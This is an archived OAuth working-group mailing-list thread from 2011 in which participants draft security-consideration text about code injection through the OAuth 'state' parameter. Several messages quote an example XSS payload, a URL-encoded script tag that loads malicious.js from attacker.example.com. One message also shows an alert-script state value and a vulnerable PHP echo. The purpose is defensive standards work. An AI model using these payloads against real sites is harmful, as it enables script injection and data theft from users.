Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter
Sounds good Eran On 25 July 2011 07:37, Eran Hammer-Lahav wrote: > This seems too verbose, considering how fundamental input validation is in > general. > > ** ** > > I added the following to a new section: > > ** ** > > A code injection attack occurs when an input or otherwise > external variable is used by an > > application in which that input can cause modification of the > application logic when used > > unsanitized. This may allow an attacker to gain access to the > application device or its > > data, cause denial of service, or a wide range of malicious > side-effects. > > > > > > The Authorization server and client MUST validate and sanitize > any value received, and in > > particular, the value of the ‘state’ and ‘redirect_uri’ > parameters. > > ** ** > > EHL > > ** ** > > ** ** > > ** ** > > *From:* oauth-boun...@ietf.org [mailto:oauth-boun...@ietf.org] *On Behalf > Of *Aiden Bell > *Sent:* Wednesday, July 20, 2011 12:04 PM > *To:* OAuth WG > > *Subject:* Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter > > ** ** > > See below for revision, tried to follow the "introduction, recommendation, > example" > structure in 10.12 "Cross-site Request Forgery" and shorten my text. > > I'm strugging to make it clear that any internal modification to the > 'state' parameter > must not affect the re-transmitted value of 'state' in Authorization > Response / Error > Response when it originates from the authorisation server. > > --- > > > Security Consideration: Code Injection Attacks > > Code injection attacks are when an input or otherwise external variable is > used within > an application where that input can cause modification of application logic > when unsanitised. This may allow an attacker to gain access to client or > user data, > cause Denial of Service or a wide range of malicious side-effects. > > > > Incorrect validation or sanitation of the 'state' parameter from section > 4.1.2 could lead to code > injection. Both client and server SHOULD ensure that the "state" parameter > described > > in section 4.1.2 is correctly sanitised for internal processing, storage or > output outside the > scope of the OAuth protocol. > > Failure to correctly sanitise the 'state' parameter can cause code > injection attacks even if a > cryptographically secure extension such as [I-D.ietf-oauth-v2-http-mac] is > used. > > As an example, a malicious person may create a fake Error Response as > described in section > 4.1.2.1 containing a maliciously crafted state parameter. The following > request would be sent to > the client: > > > https://client.example.com/cb?error=access_denied&state=%3Cscript%20type%3D%22text%2Fjavascript%22%20src%3D%22http%3A%2F%2Fattacker.example.com%2Fmalicious.js%22%20%2F%3E > > Insecure transfer of the decoded value into the HTML buffer of the client > application > may result in the injection of code into the user agent of the end user, > possibly compromising data. > This example attack can be mitigated by sanitising the 'state' parameter to > remove or escape HTML > syntax before interpolation of the value into server output to the user > agent. > > --end--**** > > On 20 July 2011 19:40, Eran Hammer-Lahav wrote: > > Take a look at how the other sections in the draft setup the premise first > and give a quick explanation of the attack… > > > > EHL > > > > *From:* Aiden Bell [mailto:aiden...@gmail.com] > *Sent:* Wednesday, July 20, 2011 11:38 AM > *To:* Eran Hammer-Lahav; OAuth WG > > > *Subject:* Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter > > > > Been following this discussion > > I'll propose some text, though it seems to me it is getting into the realm > of "Don't trust inputs" > > It is also worth noting that signing the request using something like the > HMAC extension elevates any > problems where you DO need to evaluate the state parameter in some way > where the evaluation process > is too complex to secure (DSLs and languages in state, which is really ugly > but, someone may do it). > > Really though, just seems like general application security advice rather > than OAuth specific > > Security Consideration: Code Injection Attacks > > Incorrect validation or sanitation of the 'state' parameter from section > 4.
Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter
This seems too verbose, considering how fundamental input validation is in general. I added the following to a new section: A code injection attack occurs when an input or otherwise external variable is used by an application in which that input can cause modification of the application logic when used unsanitized. This may allow an attacker to gain access to the application device or its data, cause denial of service, or a wide range of malicious side-effects. The Authorization server and client MUST validate and sanitize any value received, and in particular, the value of the 'state' and 'redirect_uri' parameters. EHL From: oauth-boun...@ietf.org [mailto:oauth-boun...@ietf.org] On Behalf Of Aiden Bell Sent: Wednesday, July 20, 2011 12:04 PM To: OAuth WG Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter See below for revision, tried to follow the "introduction, recommendation, example" structure in 10.12 "Cross-site Request Forgery" and shorten my text. I'm strugging to make it clear that any internal modification to the 'state' parameter must not affect the re-transmitted value of 'state' in Authorization Response / Error Response when it originates from the authorisation server. --- Security Consideration: Code Injection Attacks Code injection attacks are when an input or otherwise external variable is used within an application where that input can cause modification of application logic when unsanitised. This may allow an attacker to gain access to client or user data, cause Denial of Service or a wide range of malicious side-effects. Incorrect validation or sanitation of the 'state' parameter from section 4.1.2 could lead to code injection. Both client and server SHOULD ensure that the "state" parameter described in section 4.1.2 is correctly sanitised for internal processing, storage or output outside the scope of the OAuth protocol. Failure to correctly sanitise the 'state' parameter can cause code injection attacks even if a cryptographically secure extension such as [I-D.ietf-oauth-v2-http-mac] is used. As an example, a malicious person may create a fake Error Response as described in section 4.1.2.1 containing a maliciously crafted state parameter. The following request would be sent to the client: https://client.example.com/cb?error=access_denied&state=%3Cscript%20type%3D%22text%2Fjavascript%22%20src%3D%22http%3A%2F%2Fattacker.example.com%2Fmalicious.js%22%20%2F%3E Insecure transfer of the decoded value into the HTML buffer of the client application may result in the injection of code into the user agent of the end user, possibly compromising data. This example attack can be mitigated by sanitising the 'state' parameter to remove or escape HTML syntax before interpolation of the value into server output to the user agent. --end-- On 20 July 2011 19:40, Eran Hammer-Lahav mailto:e...@hueniverse.com>> wrote: Take a look at how the other sections in the draft setup the premise first and give a quick explanation of the attack... EHL From: Aiden Bell [mailto:aiden...@gmail.com<mailto:aiden...@gmail.com>] Sent: Wednesday, July 20, 2011 11:38 AM To: Eran Hammer-Lahav; OAuth WG Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter Been following this discussion I'll propose some text, though it seems to me it is getting into the realm of "Don't trust inputs" It is also worth noting that signing the request using something like the HMAC extension elevates any problems where you DO need to evaluate the state parameter in some way where the evaluation process is too complex to secure (DSLs and languages in state, which is really ugly but, someone may do it). Really though, just seems like general application security advice rather than OAuth specific Security Consideration: Code Injection Attacks Incorrect validation or sanitation of the 'state' parameter from section 4.1.2 could lead to code injection. Both client and server SHOULD ensure that the "state" parameter described in section 4.1.2 is correctly validated, escaped or sanitised prior to processing for their application's requirements. Modifications, for security or otherwise to the 'state' variable contained in the Authorization Request by the authorization server will not be transmitted to the client in the Authorization Response or Error Response as the response 'state' value MUST be identical to the value in the request. If the 'state' parameter passed between client and server contains a value which is interpreted or otherwise placed into a context that requires evaluation of the unmodified value then a cryptographic scheme such as that defined in [I-D.ietf
Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter
See below for revision, tried to follow the "introduction, recommendation, example" structure in 10.12 "Cross-site Request Forgery" and shorten my text. I'm strugging to make it clear that any internal modification to the 'state' parameter must not affect the re-transmitted value of 'state' in Authorization Response / Error Response when it originates from the authorisation server. --- Security Consideration: Code Injection Attacks Code injection attacks are when an input or otherwise external variable is used within an application where that input can cause modification of application logic when unsanitised. This may allow an attacker to gain access to client or user data, cause Denial of Service or a wide range of malicious side-effects. Incorrect validation or sanitation of the 'state' parameter from section 4.1.2 could lead to code injection. Both client and server SHOULD ensure that the "state" parameter described in section 4.1.2 is correctly sanitised for internal processing, storage or output outside the scope of the OAuth protocol. Failure to correctly sanitise the 'state' parameter can cause code injection attacks even if a cryptographically secure extension such as [I-D.ietf-oauth-v2-http-mac] is used. As an example, a malicious person may create a fake Error Response as described in section 4.1.2.1 containing a maliciously crafted state parameter. The following request would be sent to the client: https://client.example.com/cb?error=access_denied&state=%3Cscript%20type%3D%22text%2Fjavascript%22%20src%3D%22http%3A%2F%2Fattacker.example.com%2Fmalicious.js%22%20%2F%3E Insecure transfer of the decoded value into the HTML buffer of the client application may result in the injection of code into the user agent of the end user, possibly compromising data. This example attack can be mitigated by sanitising the 'state' parameter to remove or escape HTML syntax before interpolation of the value into server output to the user agent. --end-- On 20 July 2011 19:40, Eran Hammer-Lahav wrote: > Take a look at how the other sections in the draft setup the premise first > and give a quick explanation of the attack… > > ** ** > > EHL > > ** ** > > *From:* Aiden Bell [mailto:aiden...@gmail.com] > *Sent:* Wednesday, July 20, 2011 11:38 AM > *To:* Eran Hammer-Lahav; OAuth WG > > *Subject:* Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter > > ** ** > > Been following this discussion > > I'll propose some text, though it seems to me it is getting into the realm > of "Don't trust inputs" > > It is also worth noting that signing the request using something like the > HMAC extension elevates any > problems where you DO need to evaluate the state parameter in some way > where the evaluation process > is too complex to secure (DSLs and languages in state, which is really ugly > but, someone may do it). > > Really though, just seems like general application security advice rather > than OAuth specific > > Security Consideration: Code Injection Attacks > > Incorrect validation or sanitation of the 'state' parameter from section > 4.1.2 could lead to code > injection. > > Both client and server SHOULD ensure that the "state" parameter described > in section 4.1.2 is correctly validated, escaped or sanitised prior to > processing for their application's > requirements. Modifications, for security or otherwise to the 'state' > variable contained in the Authorization Request by the > authorization server will not be transmitted to the client in the > Authorization Response or Error Response > as the response 'state' value MUST be identical to the value in the > request. > > If the 'state' parameter passed between client and server contains a value > which is interpreted or > otherwise placed into a context that requires evaluation of the unmodified > value then a cryptographic > scheme such as that defined in [I-D.ietf-oauth-v2-http-mac] should be used > to verify request authenticity. > It should be noted however than a cryptographically authentic request may > still contain malicious > code if the client or server integrity can not be established and trusted. > > As an example, a malicious person may create a fake Error Response as > described in section > 4.1.2.1 containing a maliciously crafted state parameter. The following > request would be sent to > the client: > > > https://client.example.com/cb?error=access_denied&state=%3Cscript%20type%3D%22text%2Fjavascript%22%20src%3D%22http%3A%2F%2Fattacker.example.com%2Fmalicious.js%22%20%2F%3E > > Insecure transfer of the decoded value into the HTML buffer of the client
Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter
Take a look at how the other sections in the draft setup the premise first and give a quick explanation of the attack... EHL From: Aiden Bell [mailto:aiden...@gmail.com] Sent: Wednesday, July 20, 2011 11:38 AM To: Eran Hammer-Lahav; OAuth WG Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter Been following this discussion I'll propose some text, though it seems to me it is getting into the realm of "Don't trust inputs" It is also worth noting that signing the request using something like the HMAC extension elevates any problems where you DO need to evaluate the state parameter in some way where the evaluation process is too complex to secure (DSLs and languages in state, which is really ugly but, someone may do it). Really though, just seems like general application security advice rather than OAuth specific Security Consideration: Code Injection Attacks Incorrect validation or sanitation of the 'state' parameter from section 4.1.2 could lead to code injection. Both client and server SHOULD ensure that the "state" parameter described in section 4.1.2 is correctly validated, escaped or sanitised prior to processing for their application's requirements. Modifications, for security or otherwise to the 'state' variable contained in the Authorization Request by the authorization server will not be transmitted to the client in the Authorization Response or Error Response as the response 'state' value MUST be identical to the value in the request. If the 'state' parameter passed between client and server contains a value which is interpreted or otherwise placed into a context that requires evaluation of the unmodified value then a cryptographic scheme such as that defined in [I-D.ietf-oauth-v2-http-mac] should be used to verify request authenticity. It should be noted however than a cryptographically authentic request may still contain malicious code if the client or server integrity can not be established and trusted. As an example, a malicious person may create a fake Error Response as described in section 4.1.2.1 containing a maliciously crafted state parameter. The following request would be sent to the client: https://client.example.com/cb?error=access_denied&state=%3Cscript%20type%3D%22text%2Fjavascript%22%20src%3D%22http%3A%2F%2Fattacker.example.com%2Fmalicious.js%22%20%2F%3E Insecure transfer of the decoded value into the HTML buffer of the client application may result in the injection of code into the user agent of the end user, possibly compromising data. This example attack can be mitigated by sanitising the 'state' parameter to remove or escape HTML syntax before interpolation of the value into server output to the user agent. --end-- Not claiming it is good, well written or concise ... but it is proposed. Even if it is rejected, feedback would be appreciated. Thanks, Aiden On 20 July 2011 18:36, Eran Hammer-Lahav mailto:e...@hueniverse.com>> wrote: I think most of your description isn't very relevant to this particular attack. I'll skip to the part where the legitimate client gets a maliciously modified state parameter value. Your concern seems to be a simple code injection attack (e.g. that some clients will not properly protect their code from invalid state values). For example, a client may use state to pass a JSON string and when it receives it back, calls eval() on the raw state value or even JSON.parse without catching exceptions. The right way to address this is to add a new security consideration section discussion the various Injection Attacks possible. Using state to include malicious code is one. Another is code injection in the redirect_uri by a malicious client to an authorization server supporting dynamic redirection URIs. Then of course, there really is no need for any elaborate setup for anyone to send requests to the client redirection URI endpoint directly (without following any of the flow). In such a case, the enforcement of safe state values by the authorization server will accomplish nothing if the client doesn't perform its own validation (and we're back to square one). In other words, I can call any endpoint on the client with any malicious parameters and try to break it. But even if you perform input validation on the client side, which should prevent a code injection attack, you are still open to other malicious manipulation of the state parameter. For example, a naïve client can use the state parameter to pass a user id so that when the redirection callback is called, it can link the access token to that account. That of course, would be a very bad thing (tm) without some protection (e.g. state cookie) which the client can use to validate the state value. In short, over specification does not solve ignorance. We can and should highlight the possible code injection att
Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter
ons. > > So, anyone volunteering to propose text? > > EHL > > > > -----Original Message----- > > From: bigbadb...@gmail.com [mailto:bigbadb...@gmail.com] On Behalf Of > > Bob Van Zant > > Sent: Wednesday, July 20, 2011 9:29 AM > > To: Eran Hammer-Lahav > > Cc: Breno; OAuth WG > > Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter > > > > The problem lies in the inherent trust of the state parameter. The naive > > client application developer assumes that state goes out to the > authorization > > server and comes back unchanged; because that's what the spec says will > > happen. > > > > As a malicious person I use the client application and steal the client > id when > > I'm redirected to the authorization server. > > > > I then craft my own authorization URL pretending to act on behalf of the > > client application. > > > > http://example.com/oauth/authorize?client_id=deadbeef&response_type= > > code&state=%3Cscript%3Ealert%28%22omg%22%29%3B%3C%2Fscript%3E > > > > I send that out to unsuspecting people. Those people are sent to my site; > > maybe they trust it. The site is asking them to authorize an application > they > > perhaps they're familiar with. So they do. > > > > Now the assumption, and it's really not much of a leap of faith, is that > some > > client developer is going to take that state variable and put it directly > into > > their site. In PHP it could be something silly > > like: > > > > Thanks for authorizing our app, $_GET["state"]. > > > > Chrome protects me from this basic attack (I just inserted it into one of > my > > demos): Refused to execute a JavaScript script. Source code of script > found > > within request. Other browsers won't. Real attackers are more creative > than > > me. > > > > -Bob > > > > > > > > > > > > On Wed, Jul 20, 2011 at 9:11 AM, Eran Hammer-Lahav > > wrote: > > > Can you provide examples of bad values and how they make the > > implementation less secure? What's the attack vector here? > > > > > > EHL > > > > > >> -Original Message- > > >> From: bigbadb...@gmail.com [mailto:bigbadb...@gmail.com] On Behalf > > Of > > >> Bob Van Zant > > >> Sent: Wednesday, July 20, 2011 9:10 AM > > >> To: Breno; Eran Hammer-Lahav > > >> Cc: OAuth WG > > >> Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter > > >> > > >> I think somewhere in here my original comments got lost. The spec, as > > >> written, provides no limitations on what can go in the state variable. > > >> If we don't define those limitations in the spec implementors are > > >> going to define their own limitations (I'm on the verge of doing it > myself). > > >> > > >> I propose that the state variable be limited to the set of characters > > >> [a-zA-Z0- 9_-] and be restricted to a maximum length of 150 > characters. > > >> It's simple, doesn't require URL encoding, and will be hard for a > > >> client application to turn into a vulnerability. It provides plenty > > >> of uniqueness (it can fit a sha512) for even the largest and most used > > client applications. > > >> > > >> -Bob > > >> > > >> > > >> On Wed, Jul 20, 2011 at 8:24 AM, Breno > > >> wrote: > > >> > > > >> > > > >> > On Mon, Jul 18, 2011 at 11:32 PM, Eran Hammer-Lahav > > >> > > > >> > wrote: > > >> >> > > >> >> > > >> >> > -Original Message- > > >> >> > From: oauth-boun...@ietf.org [mailto:oauth-boun...@ietf.org] On > > >> >> > Behalf Of Eliot Lear > > >> >> > Sent: Sunday, July 17, 2011 2:49 AM > > >> >> > > >> >> > One other point: if the redirection_uri can have fragments and > > >> >> > can be provided, why is state necessary? > > >> >> > > >> >> First, I assume you mean query instead of fragment. > > >> >> > > >> >> This was discussed on the list about a year ago. There isn't a > > >> >> requirement to support both dynamic redirection URIs as well as a > > >> >> speci
Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter
> In short, over specification does not solve ignorance. We can and should > highlight the possible code injection attacks on both the client and > authorization server, as well as other security concerns around the state > parameter. But at the end, it is up to both the client and authorization > server developers to build secure applications. > > So, anyone volunteering to propose text? I'll give it a shot. ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter
I think most of your description isn't very relevant to this particular attack. I'll skip to the part where the legitimate client gets a maliciously modified state parameter value. Your concern seems to be a simple code injection attack (e.g. that some clients will not properly protect their code from invalid state values). For example, a client may use state to pass a JSON string and when it receives it back, calls eval() on the raw state value or even JSON.parse without catching exceptions. The right way to address this is to add a new security consideration section discussion the various Injection Attacks possible. Using state to include malicious code is one. Another is code injection in the redirect_uri by a malicious client to an authorization server supporting dynamic redirection URIs. Then of course, there really is no need for any elaborate setup for anyone to send requests to the client redirection URI endpoint directly (without following any of the flow). In such a case, the enforcement of safe state values by the authorization server will accomplish nothing if the client doesn't perform its own validation (and we're back to square one). In other words, I can call any endpoint on the client with any malicious parameters and try to break it. But even if you perform input validation on the client side, which should prevent a code injection attack, you are still open to other malicious manipulation of the state parameter. For example, a naïve client can use the state parameter to pass a user id so that when the redirection callback is called, it can link the access token to that account. That of course, would be a very bad thing (tm) without some protection (e.g. state cookie) which the client can use to validate the state value. In short, over specification does not solve ignorance. We can and should highlight the possible code injection attacks on both the client and authorization server, as well as other security concerns around the state parameter. But at the end, it is up to both the client and authorization server developers to build secure applications. So, anyone volunteering to propose text? EHL > -Original Message- > From: bigbadb...@gmail.com [mailto:bigbadb...@gmail.com] On Behalf Of > Bob Van Zant > Sent: Wednesday, July 20, 2011 9:29 AM > To: Eran Hammer-Lahav > Cc: Breno; OAuth WG > Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter > > The problem lies in the inherent trust of the state parameter. The naive > client application developer assumes that state goes out to the authorization > server and comes back unchanged; because that's what the spec says will > happen. > > As a malicious person I use the client application and steal the client id > when > I'm redirected to the authorization server. > > I then craft my own authorization URL pretending to act on behalf of the > client application. > > http://example.com/oauth/authorize?client_id=deadbeef&response_type= > code&state=%3Cscript%3Ealert%28%22omg%22%29%3B%3C%2Fscript%3E > > I send that out to unsuspecting people. Those people are sent to my site; > maybe they trust it. The site is asking them to authorize an application they > perhaps they're familiar with. So they do. > > Now the assumption, and it's really not much of a leap of faith, is that some > client developer is going to take that state variable and put it directly into > their site. In PHP it could be something silly > like: > > Thanks for authorizing our app, $_GET["state"]. > > Chrome protects me from this basic attack (I just inserted it into one of my > demos): Refused to execute a JavaScript script. Source code of script found > within request. Other browsers won't. Real attackers are more creative than > me. > > -Bob > > > > > > On Wed, Jul 20, 2011 at 9:11 AM, Eran Hammer-Lahav > wrote: > > Can you provide examples of bad values and how they make the > implementation less secure? What's the attack vector here? > > > > EHL > > > >> -----Original Message----- > >> From: bigbadb...@gmail.com [mailto:bigbadb...@gmail.com] On Behalf > Of > >> Bob Van Zant > >> Sent: Wednesday, July 20, 2011 9:10 AM > >> To: Breno; Eran Hammer-Lahav > >> Cc: OAuth WG > >> Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter > >> > >> I think somewhere in here my original comments got lost. The spec, as > >> written, provides no limitations on what can go in the state variable. > >> If we don't define those limitations in the spec implementors are > >> going to define their own limitations (I'm on the verge of doing it >
Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter
The problem lies in the inherent trust of the state parameter. The naive client application developer assumes that state goes out to the authorization server and comes back unchanged; because that's what the spec says will happen. As a malicious person I use the client application and steal the client id when I'm redirected to the authorization server. I then craft my own authorization URL pretending to act on behalf of the client application. http://example.com/oauth/authorize?client_id=deadbeef&response_type=code&state=%3Cscript%3Ealert%28%22omg%22%29%3B%3C%2Fscript%3E I send that out to unsuspecting people. Those people are sent to my site; maybe they trust it. The site is asking them to authorize an application they perhaps they're familiar with. So they do. Now the assumption, and it's really not much of a leap of faith, is that some client developer is going to take that state variable and put it directly into their site. In PHP it could be something silly like: Thanks for authorizing our app, $_GET["state"]. Chrome protects me from this basic attack (I just inserted it into one of my demos): Refused to execute a JavaScript script. Source code of script found within request. Other browsers won't. Real attackers are more creative than me. -Bob On Wed, Jul 20, 2011 at 9:11 AM, Eran Hammer-Lahav wrote: > Can you provide examples of bad values and how they make the implementation > less secure? What's the attack vector here? > > EHL > >> -Original Message- >> From: bigbadb...@gmail.com [mailto:bigbadb...@gmail.com] On Behalf Of >> Bob Van Zant >> Sent: Wednesday, July 20, 2011 9:10 AM >> To: Breno; Eran Hammer-Lahav >> Cc: OAuth WG >> Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter >> >> I think somewhere in here my original comments got lost. The spec, as >> written, provides no limitations on what can go in the state variable. >> If we don't define those limitations in the spec implementors are going to >> define their own limitations (I'm on the verge of doing it myself). >> >> I propose that the state variable be limited to the set of characters >> [a-zA-Z0- >> 9_-] and be restricted to a maximum length of 150 characters. >> It's simple, doesn't require URL encoding, and will be hard for a client >> application to turn into a vulnerability. It provides plenty of uniqueness >> (it can >> fit a sha512) for even the largest and most used client applications. >> >> -Bob >> >> >> On Wed, Jul 20, 2011 at 8:24 AM, Breno >> wrote: >> > >> > >> > On Mon, Jul 18, 2011 at 11:32 PM, Eran Hammer-Lahav >> > >> > wrote: >> >> >> >> >> >> > -Original Message- >> >> > From: oauth-boun...@ietf.org [mailto:oauth-boun...@ietf.org] On >> >> > Behalf Of Eliot Lear >> >> > Sent: Sunday, July 17, 2011 2:49 AM >> >> >> >> > One other point: if the redirection_uri can have fragments and can >> >> > be provided, why is state necessary? >> >> >> >> First, I assume you mean query instead of fragment. >> >> >> >> This was discussed on the list about a year ago. There isn't a >> >> requirement to support both dynamic redirection URIs as well as a >> >> special state parameter. However, the state parameter provides a >> >> better way to allow customization of the redirection request >> >> alongside full registration of the redirection URI. Section 3.1.2 >> >> recommends using the state parameter over changing the redirection URI >> itself. >> >> >> >> Using state is much simpler because the authorization server does not >> >> have to implement potentially insecure URI comparison algorithms for >> >> dynamic redirection URIs. >> > >> > Agree -- for instance, Google's provider doesn't allow arbitrary >> > dynamic specification of query or fragment parameters in redirect >> > URIs, for instance, due largely to security considerations. >> > >> >> >> >> EHL >> >> ___ >> >> OAuth mailing list >> >> OAuth@ietf.org >> >> https://www.ietf.org/mailman/listinfo/oauth >> > >> > >> > >> > -- >> > Breno de Medeiros >> > >> > > ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter
Can you provide examples of bad values and how they make the implementation less secure? What's the attack vector here? EHL > -Original Message- > From: bigbadb...@gmail.com [mailto:bigbadb...@gmail.com] On Behalf Of > Bob Van Zant > Sent: Wednesday, July 20, 2011 9:10 AM > To: Breno; Eran Hammer-Lahav > Cc: OAuth WG > Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter > > I think somewhere in here my original comments got lost. The spec, as > written, provides no limitations on what can go in the state variable. > If we don't define those limitations in the spec implementors are going to > define their own limitations (I'm on the verge of doing it myself). > > I propose that the state variable be limited to the set of characters > [a-zA-Z0- > 9_-] and be restricted to a maximum length of 150 characters. > It's simple, doesn't require URL encoding, and will be hard for a client > application to turn into a vulnerability. It provides plenty of uniqueness > (it can > fit a sha512) for even the largest and most used client applications. > > -Bob > > > On Wed, Jul 20, 2011 at 8:24 AM, Breno > wrote: > > > > > > On Mon, Jul 18, 2011 at 11:32 PM, Eran Hammer-Lahav > > > > wrote: > >> > >> > >> > -Original Message- > >> > From: oauth-boun...@ietf.org [mailto:oauth-boun...@ietf.org] On > >> > Behalf Of Eliot Lear > >> > Sent: Sunday, July 17, 2011 2:49 AM > >> > >> > One other point: if the redirection_uri can have fragments and can > >> > be provided, why is state necessary? > >> > >> First, I assume you mean query instead of fragment. > >> > >> This was discussed on the list about a year ago. There isn't a > >> requirement to support both dynamic redirection URIs as well as a > >> special state parameter. However, the state parameter provides a > >> better way to allow customization of the redirection request > >> alongside full registration of the redirection URI. Section 3.1.2 > >> recommends using the state parameter over changing the redirection URI > itself. > >> > >> Using state is much simpler because the authorization server does not > >> have to implement potentially insecure URI comparison algorithms for > >> dynamic redirection URIs. > > > > Agree -- for instance, Google's provider doesn't allow arbitrary > > dynamic specification of query or fragment parameters in redirect > > URIs, for instance, due largely to security considerations. > > > >> > >> EHL > >> ___ > >> OAuth mailing list > >> OAuth@ietf.org > >> https://www.ietf.org/mailman/listinfo/oauth > > > > > > > > -- > > Breno de Medeiros > > > > ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter
I think somewhere in here my original comments got lost. The spec, as written, provides no limitations on what can go in the state variable. If we don't define those limitations in the spec implementors are going to define their own limitations (I'm on the verge of doing it myself). I propose that the state variable be limited to the set of characters [a-zA-Z0-9_-] and be restricted to a maximum length of 150 characters. It's simple, doesn't require URL encoding, and will be hard for a client application to turn into a vulnerability. It provides plenty of uniqueness (it can fit a sha512) for even the largest and most used client applications. -Bob On Wed, Jul 20, 2011 at 8:24 AM, Breno wrote: > > > On Mon, Jul 18, 2011 at 11:32 PM, Eran Hammer-Lahav > wrote: >> >> >> > -Original Message- >> > From: oauth-boun...@ietf.org [mailto:oauth-boun...@ietf.org] On Behalf >> > Of Eliot Lear >> > Sent: Sunday, July 17, 2011 2:49 AM >> >> > One other point: if the redirection_uri can have fragments and can be >> > provided, why is state necessary? >> >> First, I assume you mean query instead of fragment. >> >> This was discussed on the list about a year ago. There isn't a requirement >> to support both dynamic redirection URIs as well as a special state >> parameter. However, the state parameter provides a better way to allow >> customization of the redirection request alongside full registration of the >> redirection URI. Section 3.1.2 recommends using the state parameter over >> changing the redirection URI itself. >> >> Using state is much simpler because the authorization server does not have >> to implement potentially insecure URI comparison algorithms for dynamic >> redirection URIs. > > Agree -- for instance, Google's provider doesn't allow arbitrary dynamic > specification of query or fragment parameters in redirect URIs, for > instance, due largely to security considerations. > >> >> EHL >> ___ >> OAuth mailing list >> OAuth@ietf.org >> https://www.ietf.org/mailman/listinfo/oauth > > > > -- > Breno de Medeiros > > ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter
On Mon, Jul 18, 2011 at 11:32 PM, Eran Hammer-Lahav wrote: > > > > -Original Message- > > From: oauth-boun...@ietf.org [mailto:oauth-boun...@ietf.org] On Behalf > Of Eliot Lear > > Sent: Sunday, July 17, 2011 2:49 AM > > > One other point: if the redirection_uri can have fragments and can be > > provided, why is state necessary? > > First, I assume you mean query instead of fragment. > > This was discussed on the list about a year ago. There isn't a requirement > to support both dynamic redirection URIs as well as a special state > parameter. However, the state parameter provides a better way to allow > customization of the redirection request alongside full registration of the > redirection URI. Section 3.1.2 recommends using the state parameter over > changing the redirection URI itself. > > Using state is much simpler because the authorization server does not have > to implement potentially insecure URI comparison algorithms for dynamic > redirection URIs. > Agree -- for instance, Google's provider doesn't allow arbitrary dynamic specification of query or fragment parameters in redirect URIs, for instance, due largely to security considerations. > > EHL > ___ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth > -- Breno de Medeiros ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter
> -Original Message- > From: oauth-boun...@ietf.org [mailto:oauth-boun...@ietf.org] On Behalf Of > Eliot Lear > Sent: Sunday, July 17, 2011 2:49 AM > One other point: if the redirection_uri can have fragments and can be > provided, why is state necessary? First, I assume you mean query instead of fragment. This was discussed on the list about a year ago. There isn't a requirement to support both dynamic redirection URIs as well as a special state parameter. However, the state parameter provides a better way to allow customization of the redirection request alongside full registration of the redirection URI. Section 3.1.2 recommends using the state parameter over changing the redirection URI itself. Using state is much simpler because the authorization server does not have to implement potentially insecure URI comparison algorithms for dynamic redirection URIs. EHL ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter
On Sun, Jul 17, 2011 at 2:49 AM, Eliot Lear wrote: > Bob, > > Just on this one point: > > On 7/15/11 5:35 PM, Bob Van Zant wrote: >> The spec says that the value is opaque and that >> I need to accept, store, and reply with exactly what the client sent >> me. > > Where does it actually require you to "store" the "state" contents > beyond the point where you issue your reply? Beyond the reply, you're right. I exaggerate a little. I sort of wish application developers would figure out their own way to manage state. Or, like I've asked for here, at least give me something in the spec that allows me to impose limits. > > One other point: if the redirection_uri can have fragments and can be > provided, why is state necessary? Just to be clear, section 3.1.2 says that the redirect URI: MAY include a query component which MUST be retained by the authorization server when adding additional query parameters, and MUST NOT include a fragment component. So the app developer could stick anything they want in the querystring and as the authorization server we have to hang on to that in addition to the state variable. -Bob ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter
Bob, Just on this one point: On 7/15/11 5:35 PM, Bob Van Zant wrote: > The spec says that the value is opaque and that > I need to accept, store, and reply with exactly what the client sent > me. Where does it actually require you to "store" the "state" contents beyond the point where you issue your reply? One other point: if the redirection_uri can have fragments and can be provided, why is state necessary? Eliot ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter
It wasn't the length that I cared about very much. Other than I don't
want to have to accept someone's 1024 byte state value (it's a waste
of my resources).
Percent encoding doesn't help when the client un-percent encodes it
and puts it verbatim onto his website. An example: Perhaps the state
variable is supposed to be the resource owner's name. The attacker
creates a link to my API that is:
/oauth/authorize?client_id=xxx&response_type=code&state=percent_encoded(badstuff)
If the client simply puts "state" back onto some webpage, after
un-percent encoding it but without HTML encoding it, then we have a
vulnerability?
-Bob
On Fri, Jul 15, 2011 at 8:41 AM, Eran Hammer-Lahav wrote:
> I don't see the problem. The state value is percent-encoded both ways, so the
> only way to inject a bad value there is by including a value that has special
> meaning to the client. Putting a character limit on it will not do anything
> to prevent that.
